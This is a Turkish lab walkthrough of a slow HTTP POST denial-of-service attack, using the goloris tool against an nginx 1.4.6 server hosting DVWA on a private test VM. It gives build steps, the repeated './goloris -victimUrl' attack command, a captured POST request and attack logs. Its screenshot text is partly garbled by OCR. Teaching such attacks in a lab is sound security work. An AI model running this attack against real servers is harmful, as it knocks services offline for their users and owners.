Nginx Slow Message Body Saldirilari ile Nginx Sunuculari Servis Disi
Birakma

Slow http saldirilarindan nginx web sunucular da etkilenmektedir. Normalde
nginx sunucular apache sunucular gibi bu saldirilara karsi acikliga sahip
degildirler. Ornegin apache sunucular http taleplerini thread ile kabul
ettiklerinden bu acikliga sahiptirler. Cinku saldir thread havuzunu tiketmek
uzerine kuruludur. Nginx sunucularda ise http talepleri thread’lerle kabul edilmez.
Bu nedenle acikliga sahip degiller. Ancak varsayilanda kalan konfigurasyon
dosyalari nedeniyle nginx sunucular slow http post saldirisina karsi
direnememektedir. Bu nedenle konfigurasyon dosyalarinda yapilandirmaya
gidilmesi gerekmektedir.

Nginx web sunucular versiyon 1.5.9 ‘a kadar eger varsayilan konfigurasyon
dosyalar kullanimdaysa slow http post saldirilarina karsi zafiyetlidir ve servis disi
kalmaktadirlar.

Uygulama

(+) Birebir denenmistir ve basarili olunmustur.

Materyaller
Goloris Tool’u - Kali 2020 // Saldirgan Sistem
Nginx 1.4.6 - Ubuntu 14.04 LTS // Hedef Sistem

(Not: Goloris tool’'una Downloads dizini altindan goloris-master.zip ile
alabilirsin. Nginx 1.4.6 kurulu ubuntu 14.04 Its makinesi “Slow Http Post
Vulnerability - Nginx - Ubuntu 14.04 LTS” ismiyle hazir halde yer almakta.
Makinenin hazirlanisi icin Yaz Tatili 2014 / Zafiyetli VM Makina Hazirlama
Dokumanlari / Ubuntu 14.04 Nginx, MySQL, PHP, DVWA Kurulumu.docx
dosyasina bakabilirsin.)

Kali 2020 sanal makinesine Goloris araci indirilir.
https://github.com/valyala/goloris/archive/refs/heads/master.zip

Ardindan goloris uygulamasi go derleyicisi ile derlenir. Not: Go derleyicisi kali'de
varsayillanda mevcut.

Kali 2020 Terminal:

> unzip master.zip

> chmod -R 777 goloris-master/
> cd goloris-master/

> go goloris.go // (veya go build goloris.go)



> ./goloris --help

Goloris tool'unun kullanimi tim parametrelerini default degerde kullanip (yani
parametreleri belirtmeyince default degerde kullaniliyor) sadece hedef adresi
belirterek calismakta. Ancak nginx sunucular slow message body attack’a (slow
post attack’a) zafiyetli oldugundan hedef adres olarak POST metodu kabul eden
bir dizin yolu belirtilmelidir. Aksi takdirde tool 405 Not Allowed yanitlari ekrana
basacaktir ve saldiri basarisiz olacaktir.

Dolayisiyla Ubuntu 14.04 LTS nginx sunucuya kurulan dvwa web uygulamasinin
post talebi alan dizin yolu bulunmahdir. Burada burpsuite kullanilabilir ve trafikte
araya girerek hangi paketler post gidiyor bakilabilir ve o paketteki dizin yolu
kullanilabilir.

DVWA'’da login ekranindaki form alani post ile calistigindan burp’le araya
girildiginde sOyle bir paket gelecektir.

POST /dvwa/login.php HTTP/1.1

Host: 192.168.0.26

Content-Length: 85

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.168.0.26

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128
Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;9=0.9
Referer: http://192.168.0.26/dvwa/login.php

Accept-Encoding: gzip, deflate

Accept-Language: tr-TR,tr;g=0.9,en-US;q=0.8,en;q=0.7

Cookie: security=low; PHPSESSID=iur660fmv4j85jt9bd8u70n906
Connection: close

username=sdfds&password=sdfds&Login=Login&user_token=3beeaf48fe
67d0ald8c91343ef802163

Bu paketten gorulebilecegi gibi (repeater’a da atildiginda goérulebilecegi gibi)
/dvwa/login.php dizin yolu POST talebi alan bir dizin yolu. Bu nedenle goloris
tool’una hedef adres verirken bu dizin yolunu belirtecegiz. Boylece slow message
body attack (slow post attack) gerceklestirilebilir. Not: Uygulamalarda herhangi
bir post alan dizin yolunu goloris’e vermek mumkun. Post aliyorsa saldir
baslayacaktir.

Kali 2020 Terminal 1:

> ./goloris -victimUrl http://192.168.0.26/dvwa/login.php



Kali 2020 Terminal 2:
> ./goloris -victimUrl http://192.168.0.26/dvwa/login.php
Kali 2020 Terminal 3:
> ./goloris -victimUrl http://192.168.0.26/dvwa/login.php
Kali 2020 Terminal 4:
> ./goloris -victimUrl http://192.168.0.26/dvwa/login.php
Kali 2020 Terminal 5:
> ./goloris -victimUrl http://192.168.0.26/dvwa/login.php
Kali 2020 Terminal 6:
> ./goloris -victimUrl http://192.168.0.26/dvwa/login.php
Kali 2020 Terminal 7:
> ./goloris -victimUrl http://192.168.0.26/dvwa/login.php

Bu sekilde coklu calistirarak Ubuntu 14.04 LTS’ deki nginx sunucusu servis disi
kalacaktir ve DVWA uygulamasina erisim kopacaktir. Saldiri 6ncesi ubuntu 14.04
Its sanal makinesindeki nginx web sunucuda yer alan dvwa'ya erisilebilir durum
Once gosterilmistir.
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Welcome to Damn Vulnerable Web Application!

Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main
goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web
developers better understand the processes of securing web applications and to aid both students & teachers to
learn about web application security in a controlled class room environment

The aim of DVWA is to practice some of the most common web vulnerability, with various difficultly levels
with a simple straightforward interface.

General Instructions

It is up to the user how they approach DVWA. Either by working through every module at a fixed level, or
selecting any module and working up to reach the highest level they can before moving onto the next one. There
is not a fixed object to complete a module; however users should feel that they have succassfully exploited the
system as best as they possible could by using that particular vulnerability.

Please note, there are both documented and undocumented vulnerability with this software. This is
i ional. You are encouraged to try and discover as many issues as possible.

XSS (Reflectad)
XSS (Stored)

DVWA Security
PHP Info
About

Logout

DVWA also includes a Web Application Firewall (WAF), PHPIDS, which can be enabled at any stage to further
increase the difficulty. This will demonstrate how adding another layer of security may block certain malicious
actions. Note, there are also various public methods at bypassing these protections (so this can be see an as
extension for more advance users)!

There is a help button at the bottom of each page, which allows you to view hints & tips for that vulnerability.
There are also additional links for further background reading, which relates to that security issue.

WARNING! b

Damn Vulnerable Web Application is damn vulnerable! Do not upload it to your hosting provider's public html
folder or any Internet facing servers, as they will be compromised. It is recommend using a virtual machine
fanch as ar \ which is et ta NAT netwnrkinn made Inside a anast machine won can
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Ardindan saldiri baslatilirken ki Kali 2020 sanal makine gosterilmistir.

Kali 2020 Sanal Makine:

=]
File Actions Edit View Helff]

File Actions Edit View Help

thth@ kali-tbt...cloris-master tbtk@kali-tbt_oloris-master X

master# ./goloris

thtk@kal-tht._oloris-master X

Bt@Kali-thE_olorls-master X IOK@Kal-tOL_oloris-master X | tbtk@kalitht.oloric-master X | tHIKEKali-tht..cloris-master

inUrl http

Saldiri Baslatilirken

_olorts-master

oloris-master oloris-master 3 totk@kali-tbe_oloris-master thti@kall-he._oloris-master X

fctimUrl http:/ wa/10gin. php

Saldin Basladiginda

= (m]

3 *»0

WD KYK Kredi Qdeme (2)




1 dakika icerisinde saldiri basarili olmaktadir. Saldiri basarili oldugunda goloris
tool’u ekrana surekli ayni connection sayisini tekrar tekrar verir olmaktadir. Eger
connection sayisli surekli artiyorsa saldiri henuz servis disi birakmamistir, ancak
connection sayisi tekrarli ekrana geldiginde saldiri ise yaradi anlasilabilir.

thtk@kal-tbtk: ~/Desktop/goloris-master

File Actions Edit View Help

2021/04/23 15: Holding 638 connections
2021/04/23 Error when reading server response: [read tc .168. :46296->192.168.0.26:80: read: connection
2021/04/23 :36 Holding 637 connections
2021/04/23 Holding 638 connections
2021/04/23 Error when reading server response: [read o .0.28:46310->192.168.0.26:80: : connection reset
2021/04/23 Holding 637 connections
2021/04/23 Holding 638 connections
2021/04/23 Error when reading server response: [read ¢ .0.28:46324->192.168.0.26:80: : connection reset
2021/04/23 Holding 637 connections
2021/04/23 Holding 638 connections
21/04/23 Error when ding server p [read . .0.28:46338->192.168.0.26:80: : connection reset
2021/04/23 Holding 637 connections
2021/04/23 Holding 638 connections
2021/04/23 Error when reading server response: [EOF]
2021/04/23 Holding 637 connections
2021/04/23 Holding 638 connections
2021/04/23 Error when reading server response: [read . .0.28:46370->192.168.0.26:80: : connection reset
2021/04/23 Holding 637 connections
2021/64/23 15:58:37 Holding 638 connections
2021/04/23 Error when reading server response: [read . .0.28:46386->192.168.0.26:80: : connection reset by peer]
2021/04/23 Holding 637 connections
2021/04/23 Holding 638 connections
2021/04/23 Error when reading server response: [read .168.0.28:46402->192.168.0.26:80: : connection reset
21/04/23 Holding 637 connections
2021/04/23 Holding 638 connections
2021/64/23 15:58:37 Error when reading server response: [read - .0.28:46414->192.168.0.26:80: : connection reset peer]
21/04/23 15:58:37 Holding 637 connections
/23 Holding 638 connections
2021/64/23 Error when reading server response: [read .168.0.28:46426->192.168.0.26:80: : connection
2021/04/23 :37 Holding 637 connections
2021/04/23 Holding 638
2021/04/23 Error when reading server resp [read f 0. 6442->192.168.0. 0 : connection reset peer]
2021/04/23 Holding 637 connections
2021/04/23 Holding 638 connections
21/04/23 Error when reading server response: [re .0.28:46456->192.168.0. : : connection reset peer]
2021/04/23 Holding 637 connections
2021/04/23 15:58:37 Holding 638 connections
2021/04/23 Error when reading server response: [EOF]
2021/64/2. Holding 637 connections
21/04/23 Holding 638 connectiol
2021/04/23 15:58:37 Error when reading server response: [read t .168.6.28:46486->192.168.0.26:80: : connection reset
2021/04/23 15:58:37 Holding 637 connections
2021/04/23 15:58:37 Holding 638 connections
2021/04/23 Error when reading server response: [read .168.0.28:46500->192.168.0.26:80: : connection reset
2021/04/23 Holding 637 connections
2021/04/23 :38 Holding 638 connections
2021/04/23 Error when reading server response: [read & .0.28:46514->192.168.0.26:80: : connection reset
2021/04/23 38 Holding 637 connections
2021/04/23 Holding 638 connections
2021/04/23 Error when reading server response: [read - .0.28:46530->192.168.0.26:80: : connection reset
2021/04/23 15:58:38 Holding 637 connections

peer]

peer]

reset by peer]

File Actions Edit View Help

2021/64/23 :50 Error when reading server response: [EOF]
2021/64/23 0:50 Holding 327 connections
2021/04/23 0 Holding 326 connections
2021/64/23 Holding 327 connections
2021/64/23 0:50 Error when reading server : [read tcp 192.168.0.28:43296->192.168.0.26:80: read: connection
2021/64/23 Holding 326 connections
2021/64/23 16:10:50 Holding 327 connections
2021/64/23 Error when reading server se: [read tcp 192.168.0.28:43314->192.168.0.26:80: read: connection reset
2021/64/23 Holding 326 connections
2021/64/23 0 Holding 327 connections
Error when reading server [EOF]
Holding 326 connections
Holding 327 connections
Error when reading server response: [read tcp 192.168.0.28:43342->192.168.0.26:80: : connection reset
Holding 326 connections
Error when reading server response: [EOF]
21/64/23 16:10:50 Holding 327 connections
2021/64/23 0:50 Holding 326 connections
2021/64/23 Holding 327 connections
2021/64/23 Error when reading server response: [EOF]
2021/64/23 0:50 Holding 326 connections
2021/04/23 Holding 327 connections
2021/64/23 0 Error when reading server response: [read tcp 192.168.0.28:43384->192.168.0.26:80: : connection reset by peer]
2021/64/23 0:50 Holding 326 connections
2021/64/23 Holding 327 connections
2021/64/23 Error when reading server response: [read tcp 192.168.0.28:43462->192.168.0.26:80: read: connection reset by peer]
Holding 326 connections
2021/ Holding 327 connections
021/04/23 0 Error when reading server response: [read tcp 192.168.0.28:43414->192.168.0.26:80: : connection reset by peer]
4/2 Holding 326 connections
Holding 327 connections
Error when reading server response: [read tcp 192.168.0.28:43436->192.168.0.26:80: : connection reset by peer]
Holding 326 connections
2021/64, 0:51 Holding 327 connections
2021/64/23 Error when reading server response: [read tcp 192.168.0.28:43450->192.168.0.26:80: read: connection reset by peer]
2021/64/23 Holding 326 connections
2021/64/23 0:51 Holding 327 connections
2021/64/23 Error when reading server response: [read tcp 192.168.0.28:43460->192.168.0.26:80: : connection reset by peer]
2021/64/23 Holding 326 connections
2021/64/23 Holding 327 connections
2021/64/23 Error when reading server response: [read tcp 192.168.0.28:43480->192.168.0.26:80: read: connection reset by peer]
2021/64/23 Holding 326 connections
2021/04/23 Holding 327 connections
2021/64/23 0:51 Error when reading server r se: [read tcp 192.168.0.28:43492->192.168.0.26:80: read: connection reset by peer]
2021/64/23 Holding 326 connections
2021/64/23 16:10:51 Holding 327 connections
2021/64/23 0:51 Error when reading server r se: [read tcp 192.168.0.28:43508->192.168.0.26:80: : connection reset by peer]
2021/04/23 Holding 326 connections
2021/64/23 Holding 327 connections
2021/64/23 0:51 Error when reading server re : [read tcp 192.168.0.28:43522->192.168.0.26:80: read: connection reset by peer]
;921/0&/23 :10:51 Holding 326 connections

reset
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Ana makineden web hizmetine erisimin durdugu gézlemlenir.

Ana Makine:

= (] x
() GitHub - valyalafge X | @ HowtoProtectAg: X | @ Slowloris DoS Attac % | By Zimbra: GelenKutu % | 8 Ayarlar x 192.162.0.26 x  + (-]
< C 0 @ 192.168.0.26/dvwa/index.php w 9@ » 0 :
i Uygulamalar (&) Durmaplay Wow B (10) KASAP SARU -.. 3% Testve Damgmanik €p Jira SGE Wouw Belgeler @ httpsi/faoc-emailg.. @ KYKKredi Odeme 0 KYK Kredi Odeme (2) »
Bu siteye ulasilamiyor
Baglanti sifirland.
Asagidakileri deneyin:
+ Baglantinizs kontrol etme
venlik duvanni kontrol etme
eshislerini Calistirma
ERR_CONNECTION_RESET
Yeniden Yakle Ayrintilar
- . P = o X
€) GitHub - valyala/ge X | @ HowtoProtectAg: X | @ Slowloris DoS Attac X | @y Zimbra: Gelen Kutu X | 8% Ayarlar X @ 192168026 x  + o
¢« C 00 @ 192168026 « A0 ;
i Uygulamaler (&) Durmaplay Wow @B (10) KASAP SARU -..  $& Testve Danigmanlk € Jira SGE Wouw Belgeler @ httpsi//acc-emailg.. @ KYKKrediOdeme B KYK Kredi Odeme (2) »

=

Bu siteye ulasilamiyor

http://192.168.0.26/ adresindeki web sayfas, gecici olarak kullanilamiyor veya kalici
olarak yeni bir web adresine taginmig olabilir.

ERR_SOCKET_NOT_CONNECTED

s

Web Siteye Erisim Kopar 2

Saldiri sonrasi nginx sunucu her yerde erisilebilirligi koptu mu test etmek icin ev
agindaki baska bilgisayarlardan web siteye erisim denenmistir ve saldir 6ncesi
erisim varken saldiri basarili oldugunda erisimlerin koptugu g6zlemlenmistir.



Not: Hedef nginx sunucusu tek goloris calistirmayla ¢cokmemistir. Bu
nedenle u¢ kere calistiriimistir. O da yetmeyince 7 kere calistiriimistir ve
nginx sunucusu 1 dakika icerisinde cokebilmistir. Cokme yasandiginda tool
connection sayilarini arttirmayip tekrarl ekrana basmaktadir.

Bir Olay: Tubitak saha goérevinde bir nginx sunucuya slow http post
saldinsi yapiimistir ve web sunucu saldiri mtddetince servis disi kalmistir.
Ancak saldiri tek goloris calistirmayla ise yaramamistir ve denemek
maksatli 3 adet goloris calistirma denendiginde ve 1 dakika zaman
gectiginde saldirinin ise yaradigi fark edilmistir. Web sunucu servis disi
kalmistir. Dolayisiyla web sunucunun kapasitesine gore goloris tool’unu
coklu calistirma gerekebilmektedir.

Bu sekilde slow post attack ile DVWA uygulamasini hedef alarak nginx web
sunucu servis disi kalmistir. Saldiri durduruldugunda web hizmetine erisimler
anlik geri gelmektedir.

Kali 2020 Terminal 1:

> ./goloris -victimUrl http://192.168.0.26/dvwa/login.php
~C

Kali 2020 Terminal 2:

> ./goloris -victimUrl http://192.168.0.26/dvwa/login.php
~C

Kali 2020 Terminal 3:

> ./goloris -victimUrl http://192.168.0.26/dvwa/login.php
~C

Kali 2020 Terminal 4:

> ./goloris -victimUrl http://192.168.0.26/dvwa/login.php
~C

Kali 2020 Terminal 5:

> ./goloris -victimUrl http://192.168.0.26/dvwa/login.php
~C

Kali 2020 Terminal 6:

> ./goloris -victimUrl http://192.168.0.26/dvwa/login.php
~C

Kali 2020 Terminal 7:



> ./goloris -victimUrl http://192.168.0.26/dvwa/login.php

~C

Kaynak

Welcome to nginx!

If you see this page, the nginx web server is successfully installed and
working. Further canfiguration is required.

For online documentation and support please refer to nginx.org.
Commercial support is available at nginx.com.

Thank you for using nginx.

Web Site Erisimleri Gelir 2

https://github.com/valyala/goloris
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[z Welcome to Damn Vulnerable Web Application!
Instructions Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main
goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web
Setup / Reset DB developers better understand the processes of securing web applications and to aid both students & teachers to
learn about web application security in a controlled class room environment
Brute Force The aim of DVWA is to practice some of the most common web vulnerability, with various difficultly levels.
— with a simple straightforward interface
Command Injection
CSRF .
" ; General Instructions
File Inclusion
File Upload It is up to the user how they approach DVWA. Either by working through every module at a fixed level, or
selecting any module and working up to reach the highest level they can before moving onto the next one. There
Insecure CAPTCHA is not a fixed object to complete a module; however users should feel that they have successfully exploited the
system as best as they possible could by using that particular vulnerability.
SQL Injection
— - Please note, there are both documented and undocumented vulnerability with this software. This is
SQL Injection (Blind) intentional. You are encouraged to try and discover as many issues as possible
L (U i) DVWA also includes a Web Application Firewall (WAF), PHPIDS, which can be enabled at any stage to further
XSS (Stored) increase the difficulty. This will demonstrate how adding another layer of security may block certain malicious
actions. Note, there are also various public methods at bypassing these protections (so this can be see an as
extension for more advance users)!
DVWA Security . i 3 . 5 -
There is a help button at the bottom of each page, which allows you to view hints & tips for that vulnerability.
PHP Info There are also additional links for further background reading, which relates to that security issue
About
WARNING!
Logout
Damn Vulnerable Web Application is damn vulnerable! Do not upload it to your hosting provider's public html
folder or any Internet facing servers, as they will be compromised. It is recommend using a virtual machine
(such as or ). which is set to NAT networking mode. Inside a guest machine, you can
downloading and install for the web server and database
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